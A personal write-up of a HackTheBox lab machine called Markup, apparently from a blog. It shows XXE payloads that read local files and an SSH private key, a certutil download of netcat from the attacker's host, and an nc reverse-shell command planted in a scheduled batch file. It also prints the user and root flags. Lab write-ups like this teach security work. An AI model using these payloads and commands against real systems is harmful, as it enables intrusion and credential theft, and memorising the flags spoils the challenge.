HackTheBox Walkthrough: Markup

In this post, I'll walk through how I exploited the [Box Name] machine on HackTheBox. This machine provided a great opportunity to practice **XXE exploitation** and **privilege escalation via misconfigured scheduled tasks**.

🔍 Enumeration

I started with an nmap scan against the target (10.129.93.122):

nmap -sV -p80 10.129.93.122

This revealed an Apache web server:

80/tcp open http Apache httpd 2.4.41 (Win64)

🌐 Web Enumeration

Browsing the web service led to a login page. I attempted default credentials and successfully logged in with:

admin:password

Once inside, I noticed several pages (home.php, products.php, order.php, services.php). Viewing the **page source** of services.php revealed a developer comment:

<!-- Modified by Daniel : UI-Fix-9092 -->

This gave me the important clue: the username **daniel**.

💉 XXE Injection

On the **Order** page, submitting a request generated XML data. Using BurpSuite, I intercepted the request and confirmed the server parsed XML input.

I tested an **XXE payload**:

<?xml version="1.0"?>

<!DOCTYPE root [<!ENTITY test SYSTEM "file:///c:/windows/win.ini">]>

<order>

<quantity>1</quantity>

<item>&test;</item>

<address>123</address>

</order>

The server responded with the contents of win.ini, confirming an XXE vulnerability.

📂 File Discovery

I pivoted to sensitive directories and discovered a scheduled task script at:

c:\Log-Management\job.bat

Using XXE to read it:

<?xml version="1.0"?>

<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///c:/Log-Management/job.bat">]>

<order>

<quantity>1</quantity>

<item>&xxe;</item>

<address>123</address>

</order>

The file's contents showed it ran wevtutil.exe to clear logs, and crucially, it was writeable by daniel.

🚀 Foothold as Daniel

I grabbed Daniel's SSH private key via XXE:

<!ENTITY xxe SYSTEM "file:///c:/Users/daniel/.ssh/id_rsa">

Saved it locally, fixed permissions, and logged in:

ssh -i id_rsa daniel@10.129.93.122

This gave me user access and allowed me to capture the **user flag**:

032d2fc8952a8c24e39c8f0ee9918ef7

⬆️ Privilege Escalation

Since job.bat was a scheduled task executed with elevated privileges, I replaced its contents with a reverse shell payload. First, I transferred nc64.exe using certutil:

certutil -urlcache -f http://10.10.14.20:8000/nc64.exe nc64.exe

Then I overwrote job.bat:

echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.20 4444 > C:\Log-Management\job.bat

On my attacker box:

nc -lvnp 4444

After waiting for the scheduled task, I caught a shell as **Administrator**:

whoami

markup\administrator

🏴 Root Flag

Navigating to the Administrator's Desktop, I retrieved the root flag:

f574a3e7650cebd8c39784299cb570f8

📖 Lessons Learned

- **Default credentials** are still dangerous entry points.
- **XXE** (CVE-style vulnerability) can expose local files and secrets, leading to lateral movement.
- **Misconfigured scheduled tasks** with writable batch files provide a clear escalation vector.
- Always verify **file permissions**; writable scripts are often goldmines.

✅ Rooted the box successfully. This challenge was a solid mix of **web exploitation** and **Windows privesc**.